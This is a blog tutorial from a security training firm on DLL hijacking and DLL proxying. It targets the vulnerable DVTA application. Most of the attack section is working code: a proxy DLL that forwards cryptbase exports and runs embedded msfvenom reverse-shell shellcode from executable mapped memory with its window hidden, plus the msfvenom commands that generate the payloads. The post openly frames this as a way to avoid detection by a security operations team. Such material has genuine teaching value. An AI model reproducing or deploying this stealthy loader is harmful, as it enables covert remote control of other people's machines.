DLL Proxying

Dll Proxy Featured Image

DLL Proxying : An SOC Nightmare

cyber security services in USA

DLL Hijacking, a cunning technique in the attacker’s arsenal, thrives on manipulating a program’s trust in external code. By strategically replacing legitimate DLLs (Dynamic Link Libraries) with malicious ones, attackers can gain unauthorized access, steal sensitive data, or wreak havoc on a system. To protect you organization as SOC you nee to understand how it works in the background.

Refer my previous article for better understanding DLL Hijacking. This time we gonna go more deeper and learn DLL Proxying Technique .

REMEMBER : The Deeper we crawl the Better we Blend.😂

DLL Proxying

While performing DLL Hijacking there are more chances that we gonna break something because we are modifying the DLL Functions imported by the legit program. This will cause the targeted program to malfunction . So we need a way to proxy the required functions via our DLL while performing DLL Hijacking. This is a very crucial step, because it might alarm the blue team for anomalies if not performed properly.

Note: Performing such tasks without proper knowledge and permissions is not recommended as we are deep inside the system, any wrong step might blow whistles for the SOC Team or at worst you might crash the system and leave a blue screen or land up behind bars !!!🙂

A Guide to the MEMORY_MANAGEMENT Blue Screen of Death ErrorBluescreen Nightmare

Enumerate DLL Hijacking

Enumeration often is being done with Procmon. In a nutshell, procmon is a legitimate MS tool for monitoring process activity.

For the sake of the demo, I am using Damn Vulnerable Thick Application (DVTA) as a targeted vulnerable application.

After opening procmon, several filter must be applied:

  1. Filtering the binary by name
  2. Filtering the path to be ending with .dll
  3. Filtering the result to contain NOT FOUND
  4. Start Targeted Binary

“C:\Users\user\Desktop\dvta\DVTA\bin\x64\Release\CRYPTSP.dll” is the target dll

All of the results from the screenshot, show a potential DLL hijack vulnerability, if we have right access over any of the directories, we can overwrite the not found DLL with a custom malicious DLL.

Observe the full path carefully, it is in a directory, that my user have write access over. There are more not found DLLs, but most of them are inside “C:\Windows” which we do not have permissions by default.

The enumeration process revealed “CRYPTSP.dll” to be a great target!

Executing DLL Hijacking

For POC, we can use either custom made one (recommended), or a msfvenom one. For the sake of the demo, I created the following custom DLL, to spawn “calc.exe” process.

// dllmain.cpp : Defines the entry point for the DLL application.

#include "pch.h"
#include <stdlib.h>
#include <windows.h>

void calc();

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
 HANDLE t;
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
  t = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)calc, NULL, 0, NULL);
  CloseHandle(t);
  break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

void calc()
{
 system("calc.exe");
}

After renaming the DLL “CRYPTSP.dll” and placing it on the vulnerable directory, we can confirm DLL hijacking vulnerability, after executing the DVTA.exe binary:

DLL Proxying

During the demo I used the following msfvenom payload instead of calc.exe

msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f dll -o CRYPTSP.dll

After executing the DLL hijacked binary, we can observe that the shell callback is present, but the binary is not yet started. This is a huge indicator of compromise.

This is because of 2 problems:

  1. The thread is occupied by the reverse shell.
  2. The execution flow is unknown i.e.,  after executing the shell, the binary is still corrupted.

To solve this problem we must perform something called DLL proxying. It looks like this:

DLL proxying is a technique to restore the native DLL execution flow (function calls) so the binary is not corrupted. Luckily, there are tools which can export the functions and even generate a CPP template. One such tool is called Spartacus by Accenture. It will require procmon as dependencies.

To run spartacus, you can follow the syntax:

.\Spartacus-v1.2.0-x64.exe --procmon C:\Users\user\Desktop\Procmon64.exe --pml test.plm --csv ./output.csv --exports . --verbose

 It will automatically engage with procmon, setup filters and find DLL hijackable binaries. After finding such, it will try to export all the functions it needs from the mentioned DLL. After executing the command, make sure to execute the targeted binary, and then terminate spartacus by pressing enter.

Spartacus founds which DLLs are hijackable, exports their functions and generates a C++ template for the DLL .

The C++template for CRYPTSP.dll looks like this in my case :

#pragma once

#pragma comment(linker,"/export:SystemFunction001=C:\\Windows\\System32\\cryptbase.SystemFunction001,@1")
#pragma comment(linker,"/export:SystemFunction002=C:\\Windows\\System32\\cryptbase.SystemFunction002,@2")
#pragma comment(linker,"/export:SystemFunction003=C:\\Windows\\System32\\cryptbase.SystemFunction003,@3")
#pragma comment(linker,"/export:SystemFunction004=C:\\Windows\\System32\\cryptbase.SystemFunction004,@4")
#pragma comment(linker,"/export:SystemFunction005=C:\\Windows\\System32\\cryptbase.SystemFunction005,@5")
#pragma comment(linker,"/export:SystemFunction028=C:\\Windows\\System32\\cryptbase.SystemFunction028,@6")
#pragma comment(linker,"/export:SystemFunction029=C:\\Windows\\System32\\cryptbase.SystemFunction029,@7")
#pragma comment(linker,"/export:SystemFunction034=C:\\Windows\\System32\\cryptbase.SystemFunction034,@8")
#pragma comment(linker,"/export:SystemFunction036=C:\\Windows\\System32\\cryptbase.SystemFunction036,@9")
#pragma comment(linker,"/export:SystemFunction040=C:\\Windows\\System32\\cryptbase.SystemFunction040,@10")
#pragma comment(linker,"/export:SystemFunction041=C:\\Windows\\System32\\cryptbase.SystemFunction041,@11")

#include <windows.h>

VOID Payload() {
    // Run your payload here.
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        Payload();
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Exploitation

Let’s create new CPP DLL project in visual studio

Now let’s tweak the malicious template from Spartacus. The last step is to generate a shellcode from msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f c

And combine the pieces by compiling the custom DLL as x64/Release and attack :

#pragma once

#pragma comment(linker,"/export:SystemFunction001=C:\\Windows\\System32\\cryptbase.SystemFunction001,@1")
#pragma comment(linker,"/export:SystemFunction002=C:\\Windows\\System32\\cryptbase.SystemFunction002,@2")
#pragma comment(linker,"/export:SystemFunction003=C:\\Windows\\System32\\cryptbase.SystemFunction003,@3")
#pragma comment(linker,"/export:SystemFunction004=C:\\Windows\\System32\\cryptbase.SystemFunction004,@4")
#pragma comment(linker,"/export:SystemFunction005=C:\\Windows\\System32\\cryptbase.SystemFunction005,@5")
#pragma comment(linker,"/export:SystemFunction028=C:\\Windows\\System32\\cryptbase.SystemFunction028,@6")
#pragma comment(linker,"/export:SystemFunction029=C:\\Windows\\System32\\cryptbase.SystemFunction029,@7")
#pragma comment(linker,"/export:SystemFunction034=C:\\Windows\\System32\\cryptbase.SystemFunction034,@8")
#pragma comment(linker,"/export:SystemFunction036=C:\\Windows\\System32\\cryptbase.SystemFunction036,@9")
#pragma comment(linker,"/export:SystemFunction040=C:\\Windows\\System32\\cryptbase.SystemFunction040,@10")
#pragma comment(linker,"/export:SystemFunction041=C:\\Windows\\System32\\cryptbase.SystemFunction041,@11")

#include <windows.h>
#include <iostream>

unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
"\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x6e\x89"
"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
"\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
"\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
"\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
"\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
"\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
"\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

VOID Payload() {
 ShowWindow(GetConsoleWindow(), SW_HIDE);

 HANDLE mem_handle = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(buf), NULL);

 void* mem_map = MapViewOfFile(mem_handle, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0x0, 0x0, sizeof(buf));

 std::memcpy(mem_map, buf, sizeof(buf));

 std::cout << ((int(*)())mem_map)() << std::endl;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
 switch (fdwReason)
 {
 case DLL_PROCESS_ATTACH:
  Payload();
  break;
 case DLL_THREAD_ATTACH:
  break;
 case DLL_THREAD_DETACH:
  break;
 case DLL_PROCESS_DETACH:
  break;
 }
 return TRUE;
}

After performing DLL Hijacking with the compiled DLL, the binary executes as normal, while we receive the shell call-back.

Congratulations: Successfully Executed DLL 🎉🎉 

Conclusion

During Normal Pentest, DLL Hijacking can be enough just to prove that it is vulnerable. However, in more complex cases, you may need to operate more stealthy. Since the default DLL Hijacking via corrupting the binary, is a bad approach. To evade being detected, custom made DLLs and shellcodes are always recommended along with other bypass techniques. Remember these are components, intelligent and proper implementation is only possible when you know the right thing.

Cybervie Offers traing on different aspects of CyberSecurity as well as have experienced professionals for your business solutions. We also provide AI SOC Service to keep your business Safe and Secure from such attacks. For more information, contact info@cybervie.com or visit Cybervie website.

Credits: @erilycus

 
Share the Post...
WhatsApp

About Cybervie

Cybervie provides best cyber security training program in hyderabad, India.This cyber security course enables you to detect vulnerablities of a system, wardoff attacks and manage emergency situations. Taking a proactive approach to security that can help organisations to protect their data, Cybervie has designed its training module based on the cyber security industry requirements with three levels of training in both offensive and defensive manner, and use real time scenarios which can help our students to understand the market up-to its standard certification which is an add on advantage for our students to stand out of competition in an cyber security interview.

More Info – Click Here

Recent Posts

Follow Us on Youtube

CSEP : Certified Security Engineer Professional

Certified Security Engineer Professional (CSEP) certification is a comprehensive program designed for individuals aspiring to become cybersecurity engineers. It equips candidates with hands-on knowledge across various in-demand cybersecurity domains, ensuring they are well-prepared for current and future industry needs.

Organizations today seek candidates with a diverse set of skills beyond just one tool or area of expertise. The CSEP certification addresses this need by providing essential hands-on experience, making you proficient in multiple cybersecurity domains.

The program includes live classes featuring practical exercises, followed by a real-time project that offers valuable industrial knowledge.

Domains covered in the CSEP certification:

  • Cybersecurity Essentials
  • Penetration Testing
  • Application Security
  • Security Operations
  • AI in Cybersecurity
  • Multi-Cloud Security
  • Threat Intelligence

 

This certification is ideal for those looking to secure a role as a cybersecurity engineer and want to gain a competitive edge in the cybersecurity field.

For Further kindly feel free to fill out the profile form  for relevant information on our counselor will get in touch with you

Sign up for our Newsletter

Interested in Cyber Security Training Program 2024 – Click Here
Open chat
1
Hello 👋
How can we help you?